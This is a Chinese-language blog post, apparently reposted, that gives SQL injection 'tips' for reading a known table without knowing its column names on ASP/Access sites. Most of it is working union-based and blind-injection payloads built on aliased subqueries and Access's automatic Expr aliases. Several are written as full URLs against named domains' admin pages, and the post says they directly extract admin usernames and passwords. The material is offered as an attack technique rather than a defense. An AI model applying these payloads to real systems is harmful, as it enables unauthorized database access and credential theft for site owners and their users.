SQL注入小技巧:利用子查询忽略字段名
作者:网络转载 发布时间:[ 2017/3/10 15:25:32 ] 推荐标签:数据库 SQL
之前转载了一篇 Access移位溢注技术(已知表名,不知列名) 网上找了个案例,但是使用这种办法还是失败,无奈继续查找资料,于是有了这篇文章。。
适用情况同上篇文章,知道表名,不知道字段名。这种方法适用起来更简便。
http://www.am0s.com/admin/view_ly.asp?lyid=5 union select 1,2,3,4,5,6,7 from admin
确定目标存在7个字段,其中2、3、5、6、为显位
http://www.am0s.com/admin/view_ly.asp?lyid=5 union select 1,2,3,4,5,6,7 from(select * from admin order by 8)
通过order by 猜测admin表中字段总数为8,然后构造子查询并指定字段的别名
select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5,6 as field_6,7 as field_7,8 as field_8fromadminwhere 1=2 unionselect * fromadmin
后对这个子查询结果集进行查询即可(可直接查询别名):
http://lnhqy.com/admin/view_ly.asp?lyid=5 union select 1,field_1,field_2,4,field_3,6,7 from(select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5,6 as field_6,7 as field_7,8 as field_8 from admin where 1=2 union select * from admin)
可直接查询出admin帐号和密码。
当数据库为access时,可不使用别名进行注入,access会自动为没有别名的字段设置别名(分别为Expr1000、Expr1001…..)
http://www.am0s.com/admin/view_ly.asp?lyid=5 union select 1 as x,2 as xx,Expr1001,4 as xxxx,Expr1002,6 as xxxxxx, 7 as xxxxxxx from(select 1,2,3,4,5,6,7,8 from admin where 1=2 union select * from admin )
如果需要添加条件,只需在嵌套一层子查询
union select 1,2,3,field_1&'|'&field_2&'|'&field_3&'|'&field_4&'|'&field_5
from(
select * from (
select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5
from admin
where 1=2
union select * from admin)
where field_1 not in (1)
)
盲注的时候可以这样(用于回显不同时):
select title,time,author,content from article where id=999999999 or
(
select top 1 len(field_1) from(
select 1 as field_1,2,3,4,5 from admin
where 1=2
union select * from admin)
)>0
也可以这样(用于因多次代入无论如何都报错时,或500/200的区别时):
select title,time,author,content from article where id=999999999 or
iif(
(select top 1 len(field_1) from(
select 1 as field_1,2,3,4,5 from admin
where 1=2 union select * from admin)
)>0,
1,
(select 2 from multi_rows_table)
)=1
相关推荐
更新发布
功能测试和接口测试的区别
2023/3/23 14:23:39如何写好测试用例文档
2023/3/22 16:17:39常用的选择回归测试的方式有哪些?
2022/6/14 16:14:27测试流程中需要重点把关几个过程?
2021/10/18 15:37:44性能测试的七种方法
2021/9/17 15:19:29全链路压测优化思路
2021/9/14 15:42:25性能测试流程浅谈
2021/5/28 17:25:47常见的APP性能测试指标
2021/5/8 17:01:11